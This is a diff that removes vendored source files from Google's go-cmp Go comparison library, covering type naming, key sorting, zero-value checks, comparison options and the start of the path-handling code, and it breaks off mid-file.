a/vendor/github.com/google/go-cmp/cmp/internal/value/name.go +++ /dev/null @@ -1,157 +0,0 @@ -// Copyright 2020, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package value - -import ( - "reflect" - "strconv" -) - -// TypeString is nearly identical to reflect.Type.String, -// but has an additional option to specify that full type names be used. -func TypeString(t reflect.Type, qualified bool) string { - return string(appendTypeName(nil, t, qualified, false)) -} - -func appendTypeName(b []byte, t reflect.Type, qualified, elideFunc bool) []byte { - // BUG: Go reflection provides no way to disambiguate two named types - // of the same name and within the same package, - // but declared within the namespace of different functions. - - // Named type. - if t.Name() != "" { - if qualified && t.PkgPath() != "" { - b = append(b, '"') - b = append(b, t.PkgPath()...) - b = append(b, '"') - b = append(b, '.') - b = append(b, t.Name()...) - } else { - b = append(b, t.String()...) - } - return b - } - - // Unnamed type. - switch k := t.Kind(); k { - case reflect.Bool, reflect.String, reflect.UnsafePointer, - reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, - reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr, - reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128: - b = append(b, k.String()...) - case reflect.Chan: - if t.ChanDir() == reflect.RecvDir { - b = append(b, "<-"...) - } - b = append(b, "chan"...) - if t.ChanDir() == reflect.SendDir { - b = append(b, "<-"...) - } - b = append(b, ' ') - b = appendTypeName(b, t.Elem(), qualified, false) - case reflect.Func: - if !elideFunc { - b = append(b, "func"...) - } - b = append(b, '(') - for i := 0; i < t.NumIn(); i++ { - if i > 0 { - b = append(b, ", "...) - } - if i == t.NumIn()-1 && t.IsVariadic() { - b = append(b, "..."...) - b = appendTypeName(b, t.In(i).Elem(), qualified, false) - } else { - b = appendTypeName(b, t.In(i), qualified, false) - } - } - b = append(b, ')') - switch t.NumOut() { - case 0: - // Do nothing - case 1: - b = append(b, ' ') - b = appendTypeName(b, t.Out(0), qualified, false) - default: - b = append(b, " ("...) - for i := 0; i < t.NumOut(); i++ { - if i > 0 { - b = append(b, ", "...) - } - b = appendTypeName(b, t.Out(i), qualified, false) - } - b = append(b, ')') - } - case reflect.Struct: - b = append(b, "struct{ "...) - for i := 0; i < t.NumField(); i++ { - if i > 0 { - b = append(b, "; "...) - } - sf := t.Field(i) - if !sf.Anonymous { - if qualified && sf.PkgPath != "" { - b = append(b, '"') - b = append(b, sf.PkgPath...) - b = append(b, '"') - b = append(b, '.') - } - b = append(b, sf.Name...) - b = append(b, ' ') - } - b = appendTypeName(b, sf.Type, qualified, false) - if sf.Tag != "" { - b = append(b, ' ') - b = strconv.AppendQuote(b, string(sf.Tag)) - } - } - if b[len(b)-1] == ' ' { - b = b[:len(b)-1] - } else { - b = append(b, ' ') - } - b = append(b, '}') - case reflect.Slice, reflect.Array: - b = append(b, '[') - if k == reflect.Array { - b = strconv.AppendUint(b, uint64(t.Len()), 10) - } - b = append(b, ']') - b = appendTypeName(b, t.Elem(), qualified, false) - case reflect.Map: - b = append(b, "map["...) - b = appendTypeName(b, t.Key(), qualified, false) - b = append(b, ']') - b = appendTypeName(b, t.Elem(), qualified, false) - case reflect.Ptr: - b = append(b, '*') - b = appendTypeName(b, t.Elem(), qualified, false) - case reflect.Interface: - b = append(b, "interface{ "...) - for i := 0; i < t.NumMethod(); i++ { - if i > 0 { - b = append(b, "; "...) - } - m := t.Method(i) - if qualified && m.PkgPath != "" { - b = append(b, '"') - b = append(b, m.PkgPath...) - b = append(b, '"') - b = append(b, '.') - } - b = append(b, m.Name...) - b = appendTypeName(b, m.Type, qualified, true) - } - if b[len(b)-1] == ' ' { - b = b[:len(b)-1] - } else { - b = append(b, ' ') - } - b = append(b, '}') - default: - panic("invalid kind: " + k.String()) - } - return b -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_purego.go b/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_purego.go deleted file mode 100644 index e9e384a1c8..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_purego.go +++ /dev/null @@ -1,33 +0,0 @@ -// Copyright 2018, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build purego - -package value - -import "reflect" - -// Pointer is an opaque typed pointer and is guaranteed to be comparable. -type Pointer struct { - p uintptr - t reflect.Type -} - -// PointerOf returns a Pointer from v, which must be a -// reflect.Ptr, reflect.Slice, or reflect.Map. -func PointerOf(v reflect.Value) Pointer { - // NOTE: Storing a pointer as an uintptr is technically incorrect as it - // assumes that the GC implementation does not use a moving collector. - return Pointer{v.Pointer(), v.Type()} -} - -// IsNil reports whether the pointer is nil. -func (p Pointer) IsNil() bool { - return p.p == 0 -} - -// Uintptr returns the pointer as a uintptr. -func (p Pointer) Uintptr() uintptr { - return p.p -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_unsafe.go b/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_unsafe.go deleted file mode 100644 index b50c17ec72..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/value/pointer_unsafe.go +++ /dev/null @@ -1,36 +0,0 @@ -// Copyright 2018, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build !purego - -package value - -import ( - "reflect" - "unsafe" -) - -// Pointer is an opaque typed pointer and is guaranteed to be comparable. -type Pointer struct { - p unsafe.Pointer - t reflect.Type -} - -// PointerOf returns a Pointer from v, which must be a -// reflect.Ptr, reflect.Slice, or reflect.Map. -func PointerOf(v reflect.Value) Pointer { - // The proper representation of a pointer is unsafe.Pointer, - // which is necessary if the GC ever uses a moving collector. - return Pointer{unsafe.Pointer(v.Pointer()), v.Type()} -} - -// IsNil reports whether the pointer is nil. -func (p Pointer) IsNil() bool { - return p.p == nil -} - -// Uintptr returns the pointer as a uintptr. -func (p Pointer) Uintptr() uintptr { - return uintptr(p.p) -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/value/sort.go b/vendor/github.com/google/go-cmp/cmp/internal/value/sort.go deleted file mode 100644 index 24fbae6e3c..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/value/sort.go +++ /dev/null @@ -1,106 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package value - -import ( - "fmt" - "math" - "reflect" - "sort" -) - -// SortKeys sorts a list of map keys, deduplicating keys if necessary. -// The type of each value must be comparable. -func SortKeys(vs []reflect.Value) []reflect.Value { - if len(vs) == 0 { - return vs - } - - // Sort the map keys. - sort.SliceStable(vs, func(i, j int) bool { return isLess(vs[i], vs[j]) }) - - // Deduplicate keys (fails for NaNs). - vs2 := vs[:1] - for _, v := range vs[1:] { - if isLess(vs2[len(vs2)-1], v) { - vs2 = append(vs2, v) - } - } - return vs2 -} - -// isLess is a generic function for sorting arbitrary map keys. -// The inputs must be of the same type and must be comparable. -func isLess(x, y reflect.Value) bool { - switch x.Type().Kind() { - case reflect.Bool: - return !x.Bool() && y.Bool() - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return x.Int() < y.Int() - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return x.Uint() < y.Uint() - case reflect.Float32, reflect.Float64: - // NOTE: This does not sort -0 as less than +0 - // since Go maps treat -0 and +0 as equal keys. - fx, fy := x.Float(), y.Float() - return fx < fy || math.IsNaN(fx) && !math.IsNaN(fy) - case reflect.Complex64, reflect.Complex128: - cx, cy := x.Complex(), y.Complex() - rx, ix, ry, iy := real(cx), imag(cx), real(cy), imag(cy) - if rx == ry || (math.IsNaN(rx) && math.IsNaN(ry)) { - return ix < iy || math.IsNaN(ix) && !math.IsNaN(iy) - } - return rx < ry || math.IsNaN(rx) && !math.IsNaN(ry) - case reflect.Ptr, reflect.UnsafePointer, reflect.Chan: - return x.Pointer() < y.Pointer() - case reflect.String: - return x.String() < y.String() - case reflect.Array: - for i := 0; i < x.Len(); i++ { - if isLess(x.Index(i), y.Index(i)) { - return true - } - if isLess(y.Index(i), x.Index(i)) { - return false - } - } - return false - case reflect.Struct: - for i := 0; i < x.NumField(); i++ { - if isLess(x.Field(i), y.Field(i)) { - return true - } - if isLess(y.Field(i), x.Field(i)) { - return false - } - } - return false - case reflect.Interface: - vx, vy := x.Elem(), y.Elem() - if !vx.IsValid() || !vy.IsValid() { - return !vx.IsValid() && vy.IsValid() - } - tx, ty := vx.Type(), vy.Type() - if tx == ty { - return isLess(x.Elem(), y.Elem()) - } - if tx.Kind() != ty.Kind() { - return vx.Kind() < vy.Kind() - } - if tx.String() != ty.String() { - return tx.String() < ty.String() - } - if tx.PkgPath() != ty.PkgPath() { - return tx.PkgPath() < ty.PkgPath() - } - // This can happen in rare situations, so we fallback to just comparing - // the unique pointer for a reflect.Type. This guarantees deterministic - // ordering within a program, but it is obviously not stable. - return reflect.ValueOf(vx.Type()).Pointer() < reflect.ValueOf(vy.Type()).Pointer() - default: - // Must be Func, Map, or Slice; which are not comparable. - panic(fmt.Sprintf("%T is not comparable", x.Type())) - } -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/value/zero.go b/vendor/github.com/google/go-cmp/cmp/internal/value/zero.go deleted file mode 100644 index 06a8ffd036..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/value/zero.go +++ /dev/null @@ -1,48 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package value - -import ( - "math" - "reflect" -) - -// IsZero reports whether v is the zero value. -// This does not rely on Interface and so can be used on unexported fields. -func IsZero(v reflect.Value) bool { - switch v.Kind() { - case reflect.Bool: - return v.Bool() == false - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return math.Float64bits(v.Float()) == 0 - case reflect.Complex64, reflect.Complex128: - return math.Float64bits(real(v.Complex())) == 0 && math.Float64bits(imag(v.Complex())) == 0 - case reflect.String: - return v.String() == "" - case reflect.UnsafePointer: - return v.Pointer() == 0 - case reflect.Chan, reflect.Func, reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice: - return v.IsNil() - case reflect.Array: - for i := 0; i < v.Len(); i++ { - if !IsZero(v.Index(i)) { - return false - } - } - return true - case reflect.Struct: - for i := 0; i < v.NumField(); i++ { - if !IsZero(v.Field(i)) { - return false - } - } - return true - } - return false -} diff --git a/vendor/github.com/google/go-cmp/cmp/options.go b/vendor/github.com/google/go-cmp/cmp/options.go deleted file mode 100644 index 4b0407a7f8..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/options.go +++ /dev/null @@ -1,552 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "fmt" - "reflect" - "regexp" - "strings" - - "github.com/google/go-cmp/cmp/internal/function" -) - -// Option configures for specific behavior of Equal and Diff. In particular, -// the fundamental Option functions (Ignore, Transformer, and Comparer), -// configure how equality is determined. -// -// The fundamental options may be composed with filters (FilterPath and -// FilterValues) to control the scope over which they are applied. -// -// The cmp/cmpopts package provides helper functions for creating options that -// may be used with Equal and Diff. -type Option interface { - // filter applies all filters and returns the option that remains. - // Each option may only read s.curPath and call s.callTTBFunc. - // - // An Options is returned only if multiple comparers or transformers - // can apply simultaneously and will only contain values of those types - // or sub-Options containing values of those types. - filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption -} - -// applicableOption represents the following types: -// Fundamental: ignore | validator | *comparer | *transformer -// Grouping: Options -type applicableOption interface { - Option - - // apply executes the option, which may mutate s or panic. - apply(s *state, vx, vy reflect.Value) -} - -// coreOption represents the following types: -// Fundamental: ignore | validator | *comparer | *transformer -// Filters: *pathFilter | *valuesFilter -type coreOption interface { - Option - isCore() -} - -type core struct{} - -func (core) isCore() {} - -// Options is a list of Option values that also satisfies the Option interface. -// Helper comparison packages may return an Options value when packing multiple -// Option values into a single Option. When this package processes an Options, -// it will be implicitly expanded into a flat list. -// -// Applying a filter on an Options is equivalent to applying that same filter -// on all individual options held within. -type Options []Option - -func (opts Options) filter(s *state, t reflect.Type, vx, vy reflect.Value) (out applicableOption) { - for _, opt := range opts { - switch opt := opt.filter(s, t, vx, vy); opt.(type) { - case ignore: - return ignore{} // Only ignore can short-circuit evaluation - case validator: - out = validator{} // Takes precedence over comparer or transformer - case *comparer, *transformer, Options: - switch out.(type) { - case nil: - out = opt - case validator: - // Keep validator - case *comparer, *transformer, Options: - out = Options{out, opt} // Conflicting comparers or transformers - } - } - } - return out -} - -func (opts Options) apply(s *state, _, _ reflect.Value) { - const warning = "ambiguous set of applicable options" - const help = "consider using filters to ensure at most one Comparer or Transformer may apply" - var ss []string - for _, opt := range flattenOptions(nil, opts) { - ss = append(ss, fmt.Sprint(opt)) - } - set := strings.Join(ss, "\n\t") - panic(fmt.Sprintf("%s at %#v:\n\t%s\n%s", warning, s.curPath, set, help)) -} - -func (opts Options) String() string { - var ss []string - for _, opt := range opts { - ss = append(ss, fmt.Sprint(opt)) - } - return fmt.Sprintf("Options{%s}", strings.Join(ss, ", ")) -} - -// FilterPath returns a new Option where opt is only evaluated if filter f -// returns true for the current Path in the value tree. -// -// This filter is called even if a slice element or map entry is missing and -// provides an opportunity to ignore such cases. The filter function must be -// symmetric such that the filter result is identical regardless of whether the -// missing value is from x or y. -// -// The option passed in may be an Ignore, Transformer, Comparer, Options, or -// a previously filtered Option. -func FilterPath(f func(Path) bool, opt Option) Option { - if f == nil { - panic("invalid path filter function") - } - if opt := normalizeOption(opt); opt != nil { - return &pathFilter{fnc: f, opt: opt} - } - return nil -} - -type pathFilter struct { - core - fnc func(Path) bool - opt Option -} - -func (f pathFilter) filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption { - if f.fnc(s.curPath) { - return f.opt.filter(s, t, vx, vy) - } - return nil -} - -func (f pathFilter) String() string { - return fmt.Sprintf("FilterPath(%s, %v)", function.NameOf(reflect.ValueOf(f.fnc)), f.opt) -} - -// FilterValues returns a new Option where opt is only evaluated if filter f, -// which is a function of the form "func(T, T) bool", returns true for the -// current pair of values being compared. If either value is invalid or -// the type of the values is not assignable to T, then this filter implicitly -// returns false. -// -// The filter function must be -// symmetric (i.e., agnostic to the order of the inputs) and -// deterministic (i.e., produces the same result when given the same inputs). -// If T is an interface, it is possible that f is called with two values with -// different concrete types that both implement T. -// -// The option passed in may be an Ignore, Transformer, Comparer, Options, or -// a previously filtered Option. -func FilterValues(f interface{}, opt Option) Option { - v := reflect.ValueOf(f) - if !function.IsType(v.Type(), function.ValueFilter) || v.IsNil() { - panic(fmt.Sprintf("invalid values filter function: %T", f)) - } - if opt := normalizeOption(opt); opt != nil { - vf := &valuesFilter{fnc: v, opt: opt} - if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 { - vf.typ = ti - } - return vf - } - return nil -} - -type valuesFilter struct { - core - typ reflect.Type // T - fnc reflect.Value // func(T, T) bool - opt Option -} - -func (f valuesFilter) filter(s *state, t reflect.Type, vx, vy reflect.Value) applicableOption { - if !vx.IsValid() || !vx.CanInterface() || !vy.IsValid() || !vy.CanInterface() { - return nil - } - if (f.typ == nil || t.AssignableTo(f.typ)) && s.callTTBFunc(f.fnc, vx, vy) { - return f.opt.filter(s, t, vx, vy) - } - return nil -} - -func (f valuesFilter) String() string { - return fmt.Sprintf("FilterValues(%s, %v)", function.NameOf(f.fnc), f.opt) -} - -// Ignore is an Option that causes all comparisons to be ignored. -// This value is intended to be combined with FilterPath or FilterValues. -// It is an error to pass an unfiltered Ignore option to Equal. -func Ignore() Option { return ignore{} } - -type ignore struct{ core } - -func (ignore) isFiltered() bool { return false } -func (ignore) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption { return ignore{} } -func (ignore) apply(s *state, _, _ reflect.Value) { s.report(true, reportByIgnore) } -func (ignore) String() string { return "Ignore()" } - -// validator is a sentinel Option type to indicate that some options could not -// be evaluated due to unexported fields, missing slice elements, or -// missing map entries. Both values are validator only for unexported fields. -type validator struct{ core } - -func (validator) filter(_ *state, _ reflect.Type, vx, vy reflect.Value) applicableOption { - if !vx.IsValid() || !vy.IsValid() { - return validator{} - } - if !vx.CanInterface() || !vy.CanInterface() { - return validator{} - } - return nil -} -func (validator) apply(s *state, vx, vy reflect.Value) { - // Implies missing slice element or map entry. - if !vx.IsValid() || !vy.IsValid() { - s.report(vx.IsValid() == vy.IsValid(), 0) - return - } - - // Unable to Interface implies unexported field without visibility access. - if !vx.CanInterface() || !vy.CanInterface() { - help := "consider using a custom Comparer; if you control the implementation of type, you can also consider using an Exporter, AllowUnexported, or cmpopts.IgnoreUnexported" - var name string - if t := s.curPath.Index(-2).Type(); t.Name() != "" { - // Named type with unexported fields. - name = fmt.Sprintf("%q.%v", t.PkgPath(), t.Name()) // e.g., "path/to/package".MyType - if _, ok := reflect.New(t).Interface().(error); ok { - help = "consider using cmpopts.EquateErrors to compare error values" - } - } else { - // Unnamed type with unexported fields. Derive PkgPath from field. - var pkgPath string - for i := 0; i < t.NumField() && pkgPath == ""; i++ { - pkgPath = t.Field(i).PkgPath - } - name = fmt.Sprintf("%q.(%v)", pkgPath, t.String()) // e.g., "path/to/package".(struct { a int }) - } - panic(fmt.Sprintf("cannot handle unexported field at %#v:\n\t%v\n%s", s.curPath, name, help)) - } - - panic("not reachable") -} - -// identRx represents a valid identifier according to the Go specification. -const identRx = `[_\p{L}][_\p{L}\p{N}]*` - -var identsRx = regexp.MustCompile(`^` + identRx + `(\.` + identRx + `)*$`) - -// Transformer returns an Option that applies a transformation function that -// converts values of a certain type into that of another. -// -// The transformer f must be a function "func(T) R" that converts values of -// type T to those of type R and is implicitly filtered to input values -// assignable to T. The transformer must not mutate T in any way. -// -// To help prevent some cases of infinite recursive cycles applying the -// same transform to the output of itself (e.g., in the case where the -// input and output types are the same), an implicit filter is added such that -// a transformer is applicable only if that exact transformer is not already -// in the tail of the Path since the last non-Transform step. -// For situations where the implicit filter is still insufficient, -// consider using cmpopts.AcyclicTransformer, which adds a filter -// to prevent the transformer from being recursively applied upon itself. -// -// The name is a user provided label that is used as the Transform.Name in the -// transformation PathStep (and eventually shown in the Diff output). -// The name must be a valid identifier or qualified identifier in Go syntax. -// If empty, an arbitrary name is used. -func Transformer(name string, f interface{}) Option { - v := reflect.ValueOf(f) - if !function.IsType(v.Type(), function.Transformer) || v.IsNil() { - panic(fmt.Sprintf("invalid transformer function: %T", f)) - } - if name == "" { - name = function.NameOf(v) - if !identsRx.MatchString(name) { - name = "Îģ" // Lambda-symbol as placeholder name - } - } else if !identsRx.MatchString(name) { - panic(fmt.Sprintf("invalid name: %q", name)) - } - tr := &transformer{name: name, fnc: reflect.ValueOf(f)} - if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 { - tr.typ = ti - } - return tr -} - -type transformer struct { - core - name string - typ reflect.Type // T - fnc reflect.Value // func(T) R -} - -func (tr *transformer) isFiltered() bool { return tr.typ != nil } - -func (tr *transformer) filter(s *state, t reflect.Type, _, _ reflect.Value) applicableOption { - for i := len(s.curPath) - 1; i >= 0; i-- { - if t, ok := s.curPath[i].(Transform); !ok { - break // Hit most recent non-Transform step - } else if tr == t.trans { - return nil // Cannot directly use same Transform - } - } - if tr.typ == nil || t.AssignableTo(tr.typ) { - return tr - } - return nil -} - -func (tr *transformer) apply(s *state, vx, vy reflect.Value) { - step := Transform{&transform{pathStep{typ: tr.fnc.Type().Out(0)}, tr}} - vvx := s.callTRFunc(tr.fnc, vx, step) - vvy := s.callTRFunc(tr.fnc, vy, step) - step.vx, step.vy = vvx, vvy - s.compareAny(step) -} - -func (tr transformer) String() string { - return fmt.Sprintf("Transformer(%s, %s)", tr.name, function.NameOf(tr.fnc)) -} - -// Comparer returns an Option that determines whether two values are equal -// to each other. -// -// The comparer f must be a function "func(T, T) bool" and is implicitly -// filtered to input values assignable to T. If T is an interface, it is -// possible that f is called with two values of different concrete types that -// both implement T. -// -// The equality function must be: -// â€ĸ Symmetric: equal(x, y) == equal(y, x) -// â€ĸ Deterministic: equal(x, y) == equal(x, y) -// â€ĸ Pure: equal(x, y) does not modify x or y -func Comparer(f interface{}) Option { - v := reflect.ValueOf(f) - if !function.IsType(v.Type(), function.Equal) || v.IsNil() { - panic(fmt.Sprintf("invalid comparer function: %T", f)) - } - cm := &comparer{fnc: v} - if ti := v.Type().In(0); ti.Kind() != reflect.Interface || ti.NumMethod() > 0 { - cm.typ = ti - } - return cm -} - -type comparer struct { - core - typ reflect.Type // T - fnc reflect.Value // func(T, T) bool -} - -func (cm *comparer) isFiltered() bool { return cm.typ != nil } - -func (cm *comparer) filter(_ *state, t reflect.Type, _, _ reflect.Value) applicableOption { - if cm.typ == nil || t.AssignableTo(cm.typ) { - return cm - } - return nil -} - -func (cm *comparer) apply(s *state, vx, vy reflect.Value) { - eq := s.callTTBFunc(cm.fnc, vx, vy) - s.report(eq, reportByFunc) -} - -func (cm comparer) String() string { - return fmt.Sprintf("Comparer(%s)", function.NameOf(cm.fnc)) -} - -// Exporter returns an Option that specifies whether Equal is allowed to -// introspect into the unexported fields of certain struct types. -// -// Users of this option must understand that comparing on unexported fields -// from external packages is not safe since changes in the internal -// implementation of some external package may cause the result of Equal -// to unexpectedly change. However, it may be valid to use this option on types -// defined in an internal package where the semantic meaning of an unexported -// field is in the control of the user. -// -// In many cases, a custom Comparer should be used instead that defines -// equality as a function of the public API of a type rather than the underlying -// unexported implementation. -// -// For example, the reflect.Type documentation defines equality to be determined -// by the == operator on the interface (essentially performing a shallow pointer -// comparison) and most attempts to compare *regexp.Regexp types are interested -// in only checking that the regular expression strings are equal. -// Both of these are accomplished using Comparers: -// -// Comparer(func(x, y reflect.Type) bool { return x == y }) -// Comparer(func(x, y *regexp.Regexp) bool { return x.String() == y.String() }) -// -// In other cases, the cmpopts.IgnoreUnexported option can be used to ignore -// all unexported fields on specified struct types. -func Exporter(f func(reflect.Type) bool) Option { - if !supportExporters { - panic("Exporter is not supported on purego builds") - } - return exporter(f) -} - -type exporter func(reflect.Type) bool - -func (exporter) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption { - panic("not implemented") -} - -// AllowUnexported returns an Options that allows Equal to forcibly introspect -// unexported fields of the specified struct types. -// -// See Exporter for the proper use of this option. -func AllowUnexported(types ...interface{}) Option { - m := make(map[reflect.Type]bool) - for _, typ := range types { - t := reflect.TypeOf(typ) - if t.Kind() != reflect.Struct { - panic(fmt.Sprintf("invalid struct type: %T", typ)) - } - m[t] = true - } - return exporter(func(t reflect.Type) bool { return m[t] }) -} - -// Result represents the comparison result for a single node and -// is provided by cmp when calling Result (see Reporter). -type Result struct { - _ [0]func() // Make Result incomparable - flags resultFlags -} - -// Equal reports whether the node was determined to be equal or not. -// As a special case, ignored nodes are considered equal. -func (r Result) Equal() bool { - return r.flags&(reportEqual|reportByIgnore) != 0 -} - -// ByIgnore reports whether the node is equal because it was ignored. -// This never reports true if Equal reports false. -func (r Result) ByIgnore() bool { - return r.flags&reportByIgnore != 0 -} - -// ByMethod reports whether the Equal method determined equality. -func (r Result) ByMethod() bool { - return r.flags&reportByMethod != 0 -} - -// ByFunc reports whether a Comparer function determined equality. -func (r Result) ByFunc() bool { - return r.flags&reportByFunc != 0 -} - -// ByCycle reports whether a reference cycle was detected. -func (r Result) ByCycle() bool { - return r.flags&reportByCycle != 0 -} - -type resultFlags uint - -const ( - _ resultFlags = (1 << iota) / 2 - - reportEqual - reportUnequal - reportByIgnore - reportByMethod - reportByFunc - reportByCycle -) - -// Reporter is an Option that can be passed to Equal. When Equal traverses -// the value trees, it calls PushStep as it descends into each node in the -// tree and PopStep as it ascend out of the node. The leaves of the tree are -// either compared (determined to be equal or not equal) or ignored and reported -// as such by calling the Report method. -func Reporter(r interface { - // PushStep is called when a tree-traversal operation is performed. - // The PathStep itself is only valid until the step is popped. - // The PathStep.Values are valid for the duration of the entire traversal - // and must not be mutated. - // - // Equal always calls PushStep at the start to provide an operation-less - // PathStep used to report the root values. - // - // Within a slice, the exact set of inserted, removed, or modified elements - // is unspecified and may change in future implementations. - // The entries of a map are iterated through in an unspecified order. - PushStep(PathStep) - - // Report is called exactly once on leaf nodes to report whether the - // comparison identified the node as equal, unequal, or ignored. - // A leaf node is one that is immediately preceded by and followed by - // a pair of PushStep and PopStep calls. - Report(Result) - - // PopStep ascends back up the value tree. - // There is always a matching pop call for every push call. - PopStep() -}) Option { - return reporter{r} -} - -type reporter struct{ reporterIface } -type reporterIface interface { - PushStep(PathStep) - Report(Result) - PopStep() -} - -func (reporter) filter(_ *state, _ reflect.Type, _, _ reflect.Value) applicableOption { - panic("not implemented") -} - -// normalizeOption normalizes the input options such that all Options groups -// are flattened and groups with a single element are reduced to that element. -// Only coreOptions and Options containing coreOptions are allowed. -func normalizeOption(src Option) Option { - switch opts := flattenOptions(nil, Options{src}); len(opts) { - case 0: - return nil - case 1: - return opts[0] - default: - return opts - } -} - -// flattenOptions copies all options in src to dst as a flat list. -// Only coreOptions and Options containing coreOptions are allowed. -func flattenOptions(dst, src Options) Options { - for _, opt := range src { - switch opt := opt.(type) { - case nil: - continue - case Options: - dst = flattenOptions(dst, opt) - case coreOption: - dst = append(dst, opt) - default: - panic(fmt.Sprintf("invalid option type: %T", opt)) - } - } - return dst -} diff --git a/vendor/github.com/google/go-cmp/cmp/path.go b/vendor/github.com/google/go-cmp/cmp/path.go deleted file mode 100644 index 603dbb0026..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/path.go +++ /dev/null @@ -1,378 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "fmt" - "reflect" - "strings" - "unicode" - "unicode/utf8" - - "github.com/google/go-cmp/cmp/internal/value" -) - -// Path is a list of PathSteps describing the sequence of operations to get -// from some root type to the current position in the value tree. -// The first Path element is always an operation-less PathStep that exists -// simply to identify the initial type. -// -// When traversing structs with embedded structs, the embedded struct will -// always be accessed as a field before traversing the fields of the -// embedded struct themselves. That is, an exported field from the -// embedded struct will never be accessed directly from the parent struct. -type Path []PathStep - -// PathStep is a union-type for specific operations to traverse -// a value's tree structure. Users of this package never need to implement -// these types as values of this type will be returned by this package. -// -// Implementations of this interface are -// StructField, SliceIndex, MapIndex, Indirect, TypeAssertion, and Transform. -type PathStep interface { - String() string - - // Type is the resulting type after performing the path step. - Type() reflect.Type - - // Values is the resulting values after performing the path step. - // The type of each valid value is guaranteed to be identical to Type. - // - // In some cases, one or both may be invalid or have restrictions: - // â€ĸ For StructField, both are not interface-able if the current field - // is unexported and the struct type is not explicitly permitted by - // an Exporter to traverse unexported fields. - // â€ĸ For SliceIndex, one may be invalid if an element is missing from - // either the x or y slice. - // â€ĸ For MapIndex, one may be invalid if an entry is missing from - // either the x or y map. - // - // The provided values must not be mutated. - Values() (vx, vy reflect.Value) -} - -var ( - _ PathStep = StructField{} - _ PathStep = SliceIndex{} - _ PathStep = MapIndex{} - _ PathStep = Indirect{} - _ PathStep = TypeAssertion{} - _ PathStep = Transform{} -) - -func (pa *Path) push(s PathStep) { - *pa = append(*pa, s) -} - -func (pa *Path) pop() { - *pa = (*pa)[:len(*pa)-1] -} - -// Last returns the last PathStep in the Path. -// If the path is empty, this returns a non-nil PathStep that reports a nil Type. -func (pa Path) Last() PathStep { - return pa.Index(-1) -} - -// Index returns the ith step in the Path and supports negative indexing. -// A negative index starts counting from the tail of the Path such that -1 -// refers to the last step, -2 refers to the second-to-last step, and so on. -// If index is invalid, this returns a non-nil PathStep that reports a nil Type. -func (pa Path) Index(i int) PathStep { - if i < 0 { - i = len(pa) + i - } - if i < 0 || i >= len(pa) { - return pathStep{} - } - return pa[i] -} - -// String returns the simplified path to a node. -// The simplified path only contains struct field accesses. -// -// For example: -// MyMap.MySlices.MyField -func (pa Path) String() string { - var ss []string - for _, s := range pa { - if _, ok := s.(StructField); ok { - ss = append(ss, s.String()) - } - } - return strings.TrimPrefix(strings.Join(ss, ""), ".") -} - -// GoString returns the path to a specific node using Go syntax. -// -// For example: -// (*root.MyMap["key"].(*mypkg.MyStruct).MySlices)[2][3].MyField -func (pa Path) GoString() string { - var ssPre, ssPost []string - var numIndirect int - for i, s := range pa { - var nextStep PathStep - if i+1 < len(pa) { - nextStep = pa[i+1] - } - switch s := s.(type) { - case Indirect: - numIndirect++ - pPre, pPost := "(", ")" - switch nextStep.(type) { - case Indirect: - continue // Next step is indirection, so let them batch up - case StructField: - numIndirect-- // Automatic indirection on struct fields - case nil: - pPre, pPost = "", "" // Last step; no need for parenthesis - } - if numIndirect > 0 { - ssPre = append(ssPre, pPre+strings.Repeat("*", numIndirect)) - ssPost = append(ssPost, pPost) - } - numIndirect = 0 - continue - case Transform: - ssPre = append(ssPre, s.trans.name+"(") - ssPost = append(ssPost, ")") - continue - } - ssPost = append(ssPost, s.String()) - } - for i, j := 0, len(ssPre)-1; i < j; i, j = i+1, j-1 { - ssPre[i], ssPre[j] = ssPre[j], ssPre[i] - } - return strings.Join(ssPre, "") + strings.Join(ssPost, "") -} - -type pathStep struct { - typ reflect.Type - vx, vy reflect.Value -} - -func (ps pathStep) Type() reflect.Type { return ps.typ } -func (ps pathStep) Values() (vx, vy reflect.Value) { return 